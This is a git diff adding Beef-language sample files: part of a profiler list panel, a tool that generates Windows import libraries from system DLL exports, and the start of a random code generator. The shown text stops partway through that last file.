+		DarkCheckBox mFormatCheckbox;
+		ProfileListView mListView;
+		DarkButton mGetButton;
+
+		PerfView mPerfView;
+		BPSelection mSelection;
+		bool mSelectionDirty;
+		int64 mActiveLastCurTick;
+
+		ProfileContext mProfileCtx ~ delete _;
+		public WaitEvent mSortDoneHandle = new WaitEvent() ~ delete _;
+		public bool mSorting;
+	
+		public this()
+		{
+			mFormatCheckbox = new DarkCheckBox();
+			mFormatCheckbox.Checked = true;
+			mFormatCheckbox.Label = "Format Strings";
+			mFormatCheckbox.mOnMouseClick.Add(new [&] (evt) => { mSelectionDirty = true; } );
+			AddWidget(mFormatCheckbox);
+
+			mListView = new ProfileListView();
+			mListView.mProfilePanel = this;
+			mListView.mOnLostFocus.Add(new (evt) => { RemoveFocus(); });
+			mListView.mSortType.mColumn = 2;
+			mListView.mSortType.mReverse = true;
+			AddWidget(mListView);
+	
+			mListView.AddColumn(200, "Name");
+			mListView.AddColumn(100, "Count");
+			mListView.AddColumn(150, "Total");
+			mListView.AddColumn(150, "Self");
+			mListView.InitScrollbars(false, true);
+		}
+
+		public ~this()
+		{
+			FinishSorting();
+		}
+
+		void FinishSorting()
+		{
+			if (mSorting)
+			{
+				mSortDoneHandle.WaitFor();
+				mSorting = false;
+				mSortDoneHandle.Reset();
+			}
+		}
+
+		public void RemoveFocus()
+		{
+			mListView.GetRoot().SelectItemExclusively(null);
+			if (mPerfView != null)
+				DeleteAndNullify!(mPerfView.mProfileHiliteZone);
+		}
+
+		public override void Resize(float x, float y, float width, float height)
+		{
+			base.Resize(x, y, width, height);
+	
+			mListView.ResizeClamped(0, 20, width, height - 20);
+			mFormatCheckbox.Resize(0, 0, 20, 20);
+		}
+	
+		public override void Draw(Graphics g)
+		{
+			base.Draw(g);
+
+			g.SetFont(DarkTheme.sDarkTheme.mSmallFont);
+			if (mProfileCtx != null)
+			{
+				String str = scope String();
+				str.Append("Total Time: ");
+				mProfileCtx.mSession.ElapsedTicksToStr(mSelection.mTickEnd - mSelection.mTickStart, str);
+                g.DrawString(str, 150, 0);
+			}
+			//g.DrawBox(DarkTheme.sDarkTheme.GetImage(DarkTheme.ImageIdx.Bkg), 0, 0, mWidth, mHeight);
+		}
+
+		public override void DrawAll(Graphics g)
+		{
+			base.DrawAll(g);
+		}
+
+		public void Show(PerfView perfView, BPSelection selection)
+		{
+			Debug.Assert(perfView != null);
+			mPerfView = perfView;
+			mSelection = selection;
+			mSelectionDirty = true;
+		}
+
+		void GetData()
+		{
+			mListView.GetRoot().Clear();
+	
+		}
+
+		struct PerfInfo
+		{
+			public String mName;
+			public int32 mCount;
+			public int64 mTicks;
+			public int64 mChildTicks;
+			public int32 mStackCount; // Number of times this entry appears in entryStack
+
+			public int32 mZoneNameId;
+			public String mUnformattedName;
+		}
+
+		struct BPPerfEntry
+		{
+			public int32 mZoneNameId;
+			public int64 mTickStart;
+			public int64 mChildTicks;
+			public int32 mParamsReadPos;
+			public PerfInfo* mPerfInfo;
+		}
+
+		class ProfileContext
+		{
+			BumpAllocator mAlloc = new BumpAllocator() ~ delete _;
+			public BpSession mSession;
+			public Dictionary<String, PerfInfo*> mPerfDict = new .() ~ delete _;
+			String mTempStr = new String() ~ delete _;
+			String mTempDynStr = new String() ~ delete _;
+			public List<PerfInfo*> mResults = new List<PerfInfo*>() ~ delete _;
+			public List<PerfInfo*> mSortingResults = new List<PerfInfo*>() ~ delete _;
+			public int32 mStreamDataIdx;
+			public bool mDone;
+			public bool mFormatStrings;
+			public bool mHasSelectionEndChanged;
+
+			public PerfInfo* GetPerfInfo(BPPerfEntry entry, BPStateContext stateCtx)
+			{
+				int32 paramsSize;
+
+				String str;
+				if (entry.mZoneNameId < 0)
+				{
+					int32 nameLen = -entry.mZoneNameId;
+					str = mTempDynStr;
+					str.Reference((char8*)stateCtx.mReadStart + entry.mParamsReadPos - nameLen, nameLen, 0);
+					paramsSize = -1;
+				}
+				else
+				{
+					let zoneName = mSession.mZoneNames[entry.mZoneNameId];
+					str = zoneName.mName;
+					paramsSize = zoneName.mParamsSize;
+				}
+
+				//bool dbgStr = str == "DeepStack0 %d";
+
+				String unformattedStr = str;
+
+				if ((paramsSize != 0) && (mFormatStrings))
+				{
+					mTempStr.Clear();
+					stateCtx.FormatStr(entry.mParamsReadPos, paramsSize, str, mTempStr);
+					str = mTempStr;
+				}
+
+				String* keyPtr;
+				PerfInfo* perfInfo;
+				PerfInfo** perfInfoPtr;
+				if (mPerfDict.TryAdd(str, out keyPtr, out perfInfoPtr))
+				{
+					perfInfo = new:mAlloc PerfInfo();
+					*perfInfoPtr = perfInfo;
+
+					if (str == (Object)mTempStr)
+					{
+						String heapStr = new:mAlloc String(str);
+						*keyPtr = heapStr;
+						perfInfo.mName = heapStr;
+					}
+					else
+						perfInfo.mName = str;
+
+					if ((unformattedStr == (Object)mTempDynStr) && (unformattedStr != (Object)mTempStr))
+					{
+						String heapStr = new:mAlloc String(unformattedStr);
+						perfInfo.mUnformattedName = heapStr;
+					}
+					else
+						perfInfo.mUnformattedName = unformattedStr;
+					perfInfo.mZoneNameId = entry.mZoneNameId;
+				}
+				else
+				{
+					perfInfo = *perfInfoPtr;
+					if ((entry.mZoneNameId > 0) && (perfInfo.mZoneNameId < 0))
+					{
+						// Set to a valid zoneNameId if the inserting entry was a dynamic string but this one isn't
+						perfInfo.mZoneNameId = entry.mZoneNameId;
+					}
+				}
+
+				return perfInfo;
+			}
+		}
+
+		void UpdateProfileCtx()
+		{
+			Stopwatch stopwatch = scope Stopwatch();
+			stopwatch.Start();
+
+			var client = mPerfView.mSession;
+			var thread = client.mThreads[mSelection.mThreadIdx];
+
+			bool isRecording = false;
+			bool isFirstDrawn = mProfileCtx.mStreamDataIdx == 0;
+
+			bool isManualSelection = mSelection.mDepth == -1;
+
+			StreamLoop: while (mProfileCtx.mStreamDataIdx < thread.mStreamDataList.Count)
+			{
+				int streamDataListIdx = mProfileCtx.mStreamDataIdx++;
+				var streamData = thread.mStreamDataList[streamDataListIdx];
+
+				if ((streamData.mSplitTick > 0) && (streamData.mSplitTick < mSelection.mTickStart))
+					continue; // All data is to the left
+
+				BPStateContext stateCtx = scope BPStateContext(client, streamData);
+
+				List<BPPerfEntry> entryStack = scope List<BPPerfEntry>();
+				int32 stackDepth = 0;
+
+				CmdLoop: while (true)
+				{
+					switch (stateCtx.GetNextEvent())
+					{
+					case let .Enter(startTick, strIdx):
+						int stackPos = stackDepth++;
+
+						if (((mSelection.mDepth == -1) && (startTick >= mSelection.mTickStart)) ||
+							((startTick == mSelection.mTickStart) && (stackPos == mSelection.mDepth)))
+						{
+							isRecording = true;
+						}
+
+						if (isRecording)
+						{
+							BPPerfEntry entry;
+							entry.mTickStart = startTick;
+							entry.mZoneNameId = strIdx;
+							entry.mChildTicks = 0;
+							//stateCtx.MoveToParamData();
+							entry.mParamsReadPos = stateCtx.ReadPos;
+							entry.mPerfInfo = null;
+							entry.mPerfInfo = mProfileCtx.GetPerfInfo(entry, stateCtx);
+							entry.mPerfInfo.mStackCount++;
+							entryStack.Add(entry);
+						}
+					case let .Leave(endTick):
+						stackDepth--;
+						if (isRecording)
+						{
+							let entry = entryStack.PopBack();
+							entry.mPerfInfo.mStackCount--;
+
+							if ((entry.mTickStart == mSelection.mTickStart) && (stackDepth == mSelection.mDepth))
+							{
+								if (client.mCurTick == endTick)
+								{
+									mProfileCtx.mHasSelectionEndChanged = true;
+									mSelection.mTickEnd = endTick;
+								}
+							}
+
+							int64 ticks = endTick - entry.mTickStart;
+
+							if (isManualSelection)
+							{
+								int64 tickStart = Math.Max(entry.mTickStart, mSelection.mTickStart);
+								int64 tickEnd = Math.Min(endTick, mSelection.mTickEnd);
+								ticks = tickEnd - tickStart;
+								if (ticks <= 0)
+									continue;
+							}
+
+							//PerfInfo* perfInfo = mProfileCtx.GetPerfInfo(entry, stateCtx);
+							PerfInfo* perfInfo = entry.mPerfInfo;
+
+							bool isOld = ((entry.mTickStart <= streamData.mStartTick) && (stackDepth < stateCtx.mSplitCarryoverCount)); 
+
+							// Is this a duplicate spanned entry?  If so, we don't add it's stats but we still
+							//  must process it as a parent to keep track of mChildTicks for new children
+							if ((isFirstDrawn) || (!isOld))
+							{
+								perfInfo.mCount++;
+								if (perfInfo.mStackCount != 0)
+								{
+									// Total time is already handled by outer scope
+								}
+								else
+									perfInfo.mTicks += ticks;
+							}
+
+							if (entryStack.Count > 0)
+							{
+								var prevEntry = entryStack[entryStack.Count - 1];
+
+								//bool prevIsOld = ((prevEntry.mTickStart <= streamData.mStartTick) && (stackDepth - 1 < stateCtx.mSplitCarryoverCount)); 
+								//if ((isFirstDrawn) || (!prevIsOld))
+								if (!isOld)
+								{
+									//PerfInfo* prevPerfInfo = mProfileCtx.GetPerfInfo(prevEntry, stateCtx);
+
+									PerfInfo* prevPerfInfo = prevEntry.mPerfInfo;
+									prevPerfInfo.mChildTicks += ticks;
+
+									if (perfInfo.mStackCount != 0)
+									{
+										// We have an instance of ourselves on an outer scope, so time we thought was child time actually isn't
+										perfInfo.mChildTicks -= ticks;
+									}
+								}
+							}
+
+							if (isManualSelection)
+							{
+								if ((stackDepth == 0) && (endTick >= mSelection.mTickEnd))
+								{
+									if (endTick <= streamData.mSplitTick)
+										break StreamLoop;
+								}
+								//isRecording = false;
+							}
+
+							if (stackDepth <= mSelection.mDepth)
+							{
+								if (endTick <= streamData.mSplitTick)
+									break StreamLoop;
+								isRecording = false;
+							}
+						}
+					case .EndOfStream:
+						break CmdLoop;
+					default:
+					}
+				}
+
+				isFirstDrawn = false;
+
+				if (stopwatch.ElapsedMilliseconds > (int)(gApp.mTimePerFrame * 1000))
+				{
+					return;
+				}
+			}
+			mProfileCtx.mDone = true;
+
+			for (var value in mProfileCtx.mPerfDict.Keys)
+			{
+				var perfInfo = @value.Value;
+				Debug.Assert(perfInfo.mName != null);
+				mProfileCtx.mResults.Add(perfInfo);
+			}
+
+			RefreshList();
+		}
+
+		void RefreshData()
+		{
+			mListView.GetRoot().Clear();
+
+			if (mPerfView == null)
+				return;
+
+			var session = mPerfView.mSession;
+			
+			delete mProfileCtx;
+			mProfileCtx = new ProfileContext();
+			mProfileCtx.mFormatStrings = mFormatCheckbox.Checked;
+			mProfileCtx.mSession = session;
+		}
+
+		public void ItemClicked(ProfileListViewItem clickedItem, int32 btn, int32 btnCount, float x, float y)
+		{
+			if (clickedItem.mParentItem == null)
+				return;
+			ProfileListViewItem item = (ProfileListViewItem)clickedItem.GetSubItem(0);
+			mListView.GetRoot().SelectItemExclusively(item);
+			mListView.SetFocus();
+
+			if (btn == 1)
+			{
+				Menu menu = new Menu();
+
+				var menuItem = menu.AddItem("Find Instances");
+				menuItem.mOnMenuItemSelected.Add(new (selectedItem) =>
+				    {
+						var find = gApp.mFindPanel;
+						var str = scope String();
+						var client = mPerfView.mSession;
+
+						var thread = client.mThreads[mSelection.mThreadIdx];
+
+						str.Clear();
+						var perfInfo = mProfileCtx.mResults[item.mVirtualIdx];
+						str.Append('=');
+						str.Append(perfInfo.mName);
+						if (str.Contains(' '))
+						{
+							str.Insert(1, '\"');
+							str.Append('"');
+						}
+
+						if (mSelection.mDepth > 0)
+						{
+	                        str.Append(" Depth>");
+							mSelection.mDepth.ToString(str);
+						}
+						find.mEntryEdit.SetText(str);
+
+						str.Clear();
+						str.Append('=');
+						thread.GetName(str);
+						if (str.Contains(' '))
+						{
+							str.Insert(1, '\"');
+							str.Append('"');
+						}
+						find.mTrackEdit.mEditWidget.SetText(str);
+
+						str.Clear();
+						client.TicksToStr(mSelection.mTickStart, str);
+						find.mTimeFromEdit.mEditWidget.SetText(str);
+
+						str.Clear();
+						client.TicksToStr(mSelection.mTickEnd, str);
+						find.mTimeToEdit.mEditWidget.SetText(str);
+
+						find.mFormatCheckbox.Checked = true;
+						find.mZonesCheckbox.Checked = true;
+						find.mEventsCheckbox.Checked = false;
+
+						find.mNeedsRestartSearch = true;
+				    });
+
+				menu.AddItem();
+				mListView.AddStaticMenu(menu);
+
+				MenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu);
+				menuWidget.Init(clickedItem, x, y);
+			}
+		}
+
+		public void ValueClicked(MouseEvent theEvent)
+		{
+		    DarkVirtualListViewItem clickedItem = (DarkVirtualListViewItem)theEvent.mSender;
+		    DarkVirtualListViewItem item = (DarkVirtualListViewItem)clickedItem.GetSubItem(0);
+
+		    mListView.GetRoot().SelectItemExclusively(item);
+		    mListView.SetFocus();
+
+		    if ((theEvent.mBtn == 0) && (theEvent.mBtnCount > 1))
+		    {
+		        for (int32 childIdx = 1; childIdx < mListView.GetRoot().GetChildCount(); childIdx++)
+		        {
+		            var checkListViewItem = mListView.GetRoot().GetChildAtIndex(childIdx);
+		            checkListViewItem.IconImage = null;
+		        }
+		        
+		        /*int32 selectedIdx = item.mVirtualIdx;
+				var foundEntry = mSearchState.mFoundEntries[selectedIdx];
+				mPerfView.ZoomTo(foundEntry.mStartTick, foundEntry.mEndTick);
+				BPSelection selection;
+				selection.mStartTick = foundEntry.mStartTick;
+				selection.mEndTick = foundEntry.mEndTick;
+				selection.mDepth = foundEntry.mDepth;
+				selection.mThreadIdx = foundEntry.mTrackIdx;
+				
+				mPerfView.mSelection = selection;*/
+		    }
+
+			if (theEvent.mBtn == 1)
+			{
+				Menu menu = new Menu();
+
+#unwarn
+				var menuItem = menu.AddItem("Set Track Color ...");
+				MenuWidget menuWidget = DarkTheme.sDarkTheme.CreateMenuWidget(menu);
+				menuWidget.Init(this, theEvent.mX, theEvent.mY);
+			}
+		}
+
+		int EntryCompare(PerfInfo* lhs, PerfInfo* rhs)
+		{
+			int64 result = 0;
+			if (mListView.mSortType.mColumn == 0)
+			{
+				result = String.Compare(lhs.mName, rhs.mName, true);
+				if (result == 0)
+					result = lhs.mTicks - rhs.mTicks;
+			}
+			else if (mListView.mSortType.mColumn == 1)
+			{
+				result = lhs.mCount - rhs.mCount;
+			}
+			else if (mListView.mSortType.mColumn == 2)
+			{
+				result = lhs.mTicks - rhs.mTicks;
+			}
+			else
+			{
+				result = (lhs.mTicks - lhs.mChildTicks) - (rhs.mTicks - rhs.mChildTicks);
+			}
+			if (mListView.mSortType.mReverse)
+				result = -result;
+			return (int)result;
+		}
+
+		void SortList()
+		{
+			mProfileCtx.mSortingResults.Sort(scope => EntryCompare);
+			mSortDoneHandle.Set(true);
+		}
+
+		void CheckSorting(int32 waitMS = 0)
+		{
+			if (mSorting)
+			{
+				if (mSortDoneHandle.WaitFor(waitMS))
+				{
+					mSorting = false;
+					mSortDoneHandle.Reset();
+
+					Debug.Assert(mProfileCtx.mResults.Count == mProfileCtx.mSortingResults.Count);
+					Swap!(mProfileCtx.mResults, mProfileCtx.mSortingResults);
+
+					mListView.GetRoot().Clear();
+
+					if (mProfileCtx.mResults.Count > 0)
+					{
+						var listViewItem = (DarkVirtualListViewItem)mListView.GetRoot().CreateChildItem();
+						listViewItem.mVirtualHeadItem = listViewItem;
+						listViewItem.mVirtualCount = (int32)mProfileCtx.mResults.Count;
+						mListView.PopulateVirtualItem(listViewItem);
+					}
+				}
+			}
+		}
+
+		void RefreshList()
+		{
+			if (mPerfView == null)
+			{
+				mListView.GetRoot().Clear();
+				return;
+			}
+
+			FinishSorting();
+
+			mSorting = true;
+
+			mProfileCtx.mSortingResults.Clear();
+			mProfileCtx.mSortingResults.GrowUnitialized(mProfileCtx.mResults.Count);
+			for (int i < mProfileCtx.mResults.Count)
+				mProfileCtx.mSortingResults[i] = mProfileCtx.mResults[i];
+
+			ThreadPool.QueueUserWorkItem(new => SortList);
+			CheckSorting(20);
+			
+			/*for (var strId in iList)
+			{
+				var childItem = mListView.GetRoot().CreateChildItem();
+				childItem.Label = strId;
+
+				var perfInfo = ref perfDict[strId];
+
+				var subItem = childItem.CreateSubItem(1);
+				subItem.mLabel = new String();
+				subItem.mLabel.FormatInto("{0}", perfInfo.mCount);
+				subItem.mMouseDownHandler.Add(new => ValueClicked);
+
+				subItem = childItem.CreateSubItem(2);
+				subItem.mLabel = new String();
+				client.ElapsedTicksToStr(perfInfo.mTicks, subItem.mLabel);
+				subItem.mMouseDownHandler.Add(new => ValueClicked);
+
+				subItem = childItem.CreateSubItem(3);
+				subItem.mLabel = new String();
+				client.ElapsedTicksToStr(perfInfo.mTicks - perfInfo.mChildTicks, subItem.mLabel);
+				subItem.mMouseDownHandler.Add(new => ValueClicked);
+			}*/
+		}
+
+		public override void Update()
+		{
+			base.Update();
+
+			if (mPerfView == null)
+				return;
+
+			// Were we awaiting more data to refresh
+			var client = mPerfView.mSession;
+			if ((mActiveLastCurTick != 0) && (mActiveLastCurTick != client.mCurTick))
+			{
+				mActiveLastCurTick = 0;
+				mSelectionDirty = true;
+			}
+
+			if (mSorting)
+			{
+				CheckSorting();
+			}
+			else
+			{
+				if ((mSelectionDirty) && (gApp.mIsUpdateBatchStart) &&
+	                ((mProfileCtx == null) || (mProfileCtx.mDone)))
+				{
+					mSelectionDirty = false;
+					RefreshData();
+				}
+
+				if ((mProfileCtx != null) && (!mProfileCtx.mDone))
+				{
+					if (gApp.mIsUpdateBatchStart)
+						UpdateProfileCtx();
+
+					if (mProfileCtx.mDone)
+					{
+						if (mProfileCtx.mHasSelectionEndChanged)
+						{
+							mActiveLastCurTick = client.mCurTick;
+						}
+						else
+							mActiveLastCurTick = 0;
+					}
+				}
+			}
+		}
+
+		public void Clear()
+		{
+			mListView.GetRoot().Clear();
+			DeleteAndNullify!(mProfileCtx);
+			mActiveLastCurTick = 0;
+			mPerfView = null;
+		}
+	}
+}
diff --git a/samples/Beef/Program.bf b/samples/Beef/Program.bf
new file mode 100644
index 0000000000..0375082971
--- /dev/null
+++ b/samples/Beef/Program.bf
@@ -0,0 +1,115 @@
+// https://raw.githubusercontent.com/beefytech/Beef/5d5186f8127af4c670f76d7af7df735d3544a16d/IDE/dist/lib/gen/src/Program.bf
+#pragma warning disable 168
+
+using System;
+using System;
+using System.Interop;
+using System.IO;
+using System.Threading;
+using System.Diagnostics;
+using System.Collections;
+
+namespace gen
+{
+	class Program
+	{
+		static String[] sNames = new .[]("comdlg32", "gdi32", "kernel32", "ole32", "netapi32", "ntdll", "rpcrt4", "shell32", "user32", "version", "winmm") ~ delete _;
+
+		public static int Main(String[] args)
+		{
+			bool isFirst = true;
+
+			for (var name in sNames)
+			{
+				for (int pass < 2)
+				{
+					String resultStr = scope String();
+					
+					//
+					{
+						ProcessStartInfo startInfo = scope .();
+						startInfo.SetFileName(@"c:\bin\dumpbin.exe");
+						if (pass == 0)
+							startInfo.SetArguments(scope $"/exports c:\\windows\\system32\\{name}.dll");
+						else
+							startInfo.SetArguments(scope $"/exports c:\\windows\\SysWow64\\{name}.dll");
+						startInfo.RedirectStandardOutput = true;
+						startInfo.UseShellExecute = false;
+						startInfo.RedirectStandardOutput = true;
+						startInfo.CreateNoWindow = false;
+						SpawnedProcess process = scope SpawnedProcess();
+						if (process.Start(startInfo) case .Err)
+							continue;
+
+						FileStream fileStream = scope FileStream();
+						process.AttachStandardOutput(fileStream);
+						StreamReader streamReader = scope StreamReader(fileStream, null, false, 4096);
+						streamReader.ReadToEnd(resultStr).IgnoreError();
+
+						if (process.ExitCode != 0)
+							Runtime.FatalError(scope $"Failed to read lib '{name}'");
+					}
+
+					var outStr = scope String();
+					outStr.Append("EXPORTS\n");
+
+					for (var line in resultStr.Split('\n'))
+					{
+						if ((line.Length > 26) && (line.StartsWith("      ")) && (line[25] == ' ') && (line[26] != '['))
+						{
+							var exportStr = line.Substring(26);
+
+							int fwdIdx = exportStr.IndexOf("(forwarded to");
+							if (fwdIdx != -1)
+							{
+								outStr.Append(exportStr.Substring(0, fwdIdx - 1));
+								outStr.Append(" = ");
+								outStr.Append(exportStr.Substring(fwdIdx + 14, exportStr.Length - fwdIdx - 15));
+							}
+							else
+							{
+								outStr.Append(exportStr);
+
+								switch (exportStr)
+								{
+								case "DllMain",
+									"DllGetClassObject",
+									"DllCanUnloadNow",
+									"DllRegisterServer",
+									"DllUnregisterServer",
+									"DllInstall":
+									outStr.Append(" PRIVATE");
+								}
+							}
+
+
+							outStr.Append("\n");
+						}
+					}
+
+					File.WriteAllText(scope $"{name}.txt", outStr);
+
+					//
+					{
+						ProcessStartInfo startInfo = scope .();
+						startInfo.SetFileName(@"c:\bin\lib.exe");
+						if (pass == 0)
+							startInfo.SetArguments(scope $"/def:{name}.txt /machine:x64 /out:..\\x64\\{name}.lib");
+						else
+							startInfo.SetArguments(scope $"/def:{name}.txt /machine:x64 /out:..\\x86\\{name}.lib");
+						startInfo.CreateNoWindow = false;
+						SpawnedProcess process = scope SpawnedProcess();
+						if (process.Start(startInfo) case .Err)
+							continue;
+
+						process.WaitFor();
+						if (process.ExitCode != 0)
+							Runtime.FatalError(scope $"Failed to generate lib '{name}'");
+					}
+				}
+			}
+
+			return 0;
+		}
+	}
+}
diff --git a/samples/Beef/RandoCode.bf b/samples/Beef/RandoCode.bf
new file mode 100644
index 0000000000..6591e92454
--- /dev/null
+++ b/samples/Beef/RandoCode.bf
@@ -0,0 +1,1242 @@
+using System;
+using System.Collections;
+using System.Text;
+using System.IO;
+using System.Threading.Tasks;
+using System.Threading;
+using Beefy.utils;
+using System.Diagnostics;
+
+namespace RandoCode
+{
+    class Config
+    {
+        public int32 mTypeCount = 800; //20; //70 //300
+        public float mPrimitiveTypeChance = 0.0f;
+
+        //public float mStructPct = 0.2f; // Otherwise class
+        public float mStructPct = 0.0f;
+
+        public float mTypeComplexityPower = 3.0f;
+
+        public float mCreateGenericTypePct = 0.15f;
+        public float mSpecializedTypePower = 3.0f;
+        public float mUnspecializedTypeScalar = 10.0f;
+
+        public float mTypeDefPoolPower = 1.1f;
+        public float mTypeDefPoolOffset = 3.0f;
+        public float mTypeDefPoolScalar = 15.0f;
+
+        public float mFieldCountPower = 1.2f;
+        public float mFieldCountScalar = 12.0f;
+        public float mFieldStaticPct = 0.2f;
+
+        public float mVoidReturnPct = 0.6f;
+        public float mMethodCodeComplexityPower = 2.0f;
+		public float mMethodLengthScalar = 100.0f;
+        public float mMethodCountScalar = 300.0f; //2000.0f;//300.0f;
+        public float mAssignMemberPct = 0.3f;
+        public float mCreateLocalPct = 0.3f;
+        
+        public float mParamCountPower = 3.0f;
+        public float mParamCountScalar = 5.0f;
+
+        public float mNewSpacespaceChance = 0.2f; // Chance a class will generate a new namespace vs using an existing one
+        public float mRootNamespaceChance = 0.1f; // Chance we will create root namespace vs adding to an existing one
+    }
+
+    class WordGroup
+    {
+        public List<String>[] mWords ~
+		{
+			for (var list in mWords)
+				DeleteContainerAndItems!(list);
+			delete _;
+		};
+        public HashSet<String> mUsedNames = new HashSet<String>() ~ DeleteContainerAndItems!(_);
+
+        public void GetName(float complexity, int parts, bool firstUpper, String outName)
+        {
+            int listNum = (int)(complexity * 3.999f);
+
+			var parts;
+            for (int tryCount = 0; true; tryCount++)
+            {
+                if (tryCount > 4)
+                    parts++;
+
+                for (int namePartIdx = 0; namePartIdx < parts; namePartIdx++)
+                {
+                    int idx = Program.sRand.Next(mWords[listNum].Count);
+                    String namePart = scope String(mWords[listNum][idx]);
+                    if ((firstUpper) || (namePartIdx > 0))
+						namePart[0] = namePart[0].ToUpper;
+                    outName.Append(namePart);
+                }
+
+                if (mUsedNames.Contains(outName))
+                    continue;
+                mUsedNames.Add(new String(outName));
+                return;
+            }
+        }
+    }
+    
+    class LocalDef
+    {
+        public String mName ~ delete _;
+        public TypeDef mTypeDef;
+    }    
+
+    class MethodDef
+    {
+        public String mName ~ delete _;
+        public int mParamCount;
+        public TypeDef mReturnType;
+        public List<LocalDef> mLocals = new List<LocalDef>() ~ DeleteContainerAndItems!(_);
+        public float mComplexity;
+        public int mStatementCount;
+		public bool mIsStatic;
+    }
+
+    class FieldDef
+    {
+        public String mName ~ delete _;
+        public TypeDef mTypeDef;
+        public bool mIsStatic;
+    }    
+
+    class TypeDef
+    {
+        public NamespaceDef mNamespace;        
+        public String mName ~ delete _;
+        public float mComplexity;
+        public bool mIsPrimitive;
+        public int mGenericParamIdx = -1;
+        public bool mIsStruct;
+        public int mUseCount;
+
+        public bool mIsSpecializedGeneric;
+        public bool mIsUnspecializedGeneric;
+        public List<TypeDef> mGenericParams ~ delete _;
+
+        public HashSet<NamespaceDef> mUsingNamespaces = new HashSet<NamespaceDef>() ~ delete _;
+        public List<FieldDef> mFields = new List<FieldDef>() ~ DeleteContainerAndItems!(_);
+        public List<MethodDef> mMethods = new List<MethodDef>() ~ DeleteContainerAndItems!(_);
+        
+        public List<TypeDef> mTypeDefPool = new List<TypeDef>() ~ delete _; // We only refer to types in this pool
+
+        public void GetRootName(String outStr)
+        {
+            int ltPos = mName.IndexOf('<');
+            if (ltPos == -1)
+			{
+				outStr.Append(mName);
+                return;
+			}
+			outStr.Append(mName, 0, ltPos);
+        }
+
+        public void GetFullName(String outStr)
+        {
+            if (mNamespace == null)
+            {
+				outStr.Append(mName);
+				return;
+			}
+            mNamespace.GetFullName(outStr);
+			outStr.Append(".", mName);
+        }
+    }
+
+    class NamespaceDef
+    {
+        public NamespaceDef mParent;
+        public String mName ~ delete _;
+        public List<NamespaceDef> mChildren = new List<NamespaceDef>() ~ delete _;
+
+        public void GetFullName(String outStr)
+        {
+            if (mParent != null)
+			{
+				mParent.GetFullName(outStr);
+				outStr.Append(".");
+			}
+            outStr.Append(mName);
+        }
+    }
+
+    class Program
+    {       
+        public static Random sRand ~ delete _;
+        int mSeed;
+
+        Config mConfig = new Config() ~ delete _;
+        String mBaseDir = new String("src") ~ delete _;
+        WordGroup mAdjList ~ delete _;
+        WordGroup mAdvList ~ delete _;
+        WordGroup mNounList ~ delete _;
+        WordGroup mVerbList ~ delete _;
+		bool mIsCompat = true;
+
+        TypeDef mCurTypeDef;
+        MethodDef mCurMethodDef;
+        List<NamespaceDef> mNamespaces = new List<NamespaceDef>() ~ DeleteContainerAndItems!(_);
+        TypeDef mVoidType ~ delete _;
+        List<TypeDef> mPrimitives = new List<TypeDef>() ~ DeleteContainerAndItems!(_);
+        List<TypeDef> mUserTypes = new List<TypeDef>() ~ DeleteContainerAndItems!(_);
+		List<TypeDef> mOtherTypes = new List<TypeDef>() ~ DeleteContainerAndItems!(_);
+
+		bool mVerbose;
+        int mLineCount;
+        bool mWroteLine;
+        String mQueuedText = new String() ~ delete _;
+        int mIndentCount;
+        int mStartIndentCount;
+
+        this()
+        {
+            //mSeed = (scope Random()).Next() % 100000;
+            mSeed = 92968;
+            Console.WriteLine("Random seed: {0}", mSeed);
+            sRand = new Random(mSeed);
+        }
+
+        WordGroup CreateWordGroup(String name)
+        {                        
+            WordGroup wordGroup = new WordGroup();
+            wordGroup.mWords = new List<String>[4];
+            for (int i = 0; i < 4; i++)
+            {
+                wordGroup.mWords[i] = new List<String>();
+
+				StreamReader file = scope StreamReader();
+
+				var filePath = scope String();
+
+				var exePath = scope String();
+				Environment.GetExecutableFilePath(exePath);
+				Path.GetDirectoryPath(exePath, filePath);
+				
+				filePath.AppendF("/data/{0}{1}.txt", i + 1, name);
+
+				if (file.Open(filePath) case .Err)
+					continue;
+
+                while (!file.EndOfStream)
+                {
+                    String line = scope String();
+					file.ReadLine(line);
+                    bool isOnlyLetters = true;
+                    for (char8 c in line.RawChars)
+                        if (!c.IsLetter)
+                            isOnlyLetters = false;
+                    if (isOnlyLetters)
+                        wordGroup.mWords[i].Add(new String(line));
+                }
+            }
+            return wordGroup;
+        }
+
+        void CreatePrimitives()
+        {
+            mVoidType = new TypeDef();
+            mVoidType.mName = new String("void");
+            mVoidType.mIsPrimitive = true;
+
+            String[] typeNames;
+			if (mIsCompat)
+				typeNames = scope:: .[] ( "int", "uint", "int", "float", "double" );
+			else
+				typeNames = scope:: .[] ( "int", "int16", "int32", "int64", "float", "double" );
+
+            for (var typeName in typeNames)
+            {
+                TypeDef typeDef = new TypeDef();
+                typeDef.mName = new String(typeName);
+                typeDef.mIsPrimitive = true;
+                mPrimitives.Add(typeDef);
+            }
+        }
+
+        float GetComplexity(float power)
+        {
+            return (float)Math.Pow(sRand.NextDouble(), power);
+        }
+
+        // Must return either a primitive type or a typedef whose name occurs alphabetically before the current type
+        TypeDef GetRandomTypeDef()
+        {
+            bool wantPrimitive = sRand.NextDouble() < mConfig.mPrimitiveTypeChance;
+            if ((!wantPrimitive) && (mUserTypes.Count > 0))
+            {
+                for (int tryCount = 0; tryCount < 4; tryCount++)
+                {
+                    TypeDef checkTypeDef = mUserTypes[sRand.Next(mUserTypes.Count)];
+                    if (checkTypeDef.mIsUnspecializedGeneric)
+                        continue;
+                    if (mCurTypeDef == null)
+                        return checkTypeDef;
+                    if (checkTypeDef.mName.CompareTo(mCurTypeDef.mName) < 0)
+                        return checkTypeDef;                    
+                }
+            }
+            return mPrimitives[sRand.Next(mPrimitives.Count)];
+        }
+
+        TypeDef GetRandomPooledTypeDef()
+        {
+            return mCurTypeDef.mTypeDefPool[sRand.Next(mCurTypeDef.mTypeDefPool.Count)];
+        }
+
+        void GenerateType()
+        {
+            float typeComplexity = GetComplexity(mConfig.mTypeComplexityPower);
+            String className = new String();
+			mNounList.GetName(typeComplexity, 2, true, className);
+
+            TypeDef typeDef = new TypeDef();
+            typeDef.mName = className;
+            typeDef.mComplexity = typeComplexity;
+            mCurTypeDef = typeDef;
+
+            typeDef.mIsUnspecializedGeneric = sRand.NextDouble() < mConfig.mCreateGenericTypePct;
+            if (typeDef.mIsUnspecializedGeneric)
+            {
+                typeDef.mGenericParams = new List<TypeDef>();
+                int genericCount = (int)(1.0f + GetComplexity(3.0f) * 3.5f);
+                typeDef.mName.Append("<");
+                for (int genericIdx = 0; genericIdx < genericCount; genericIdx++)
+                {
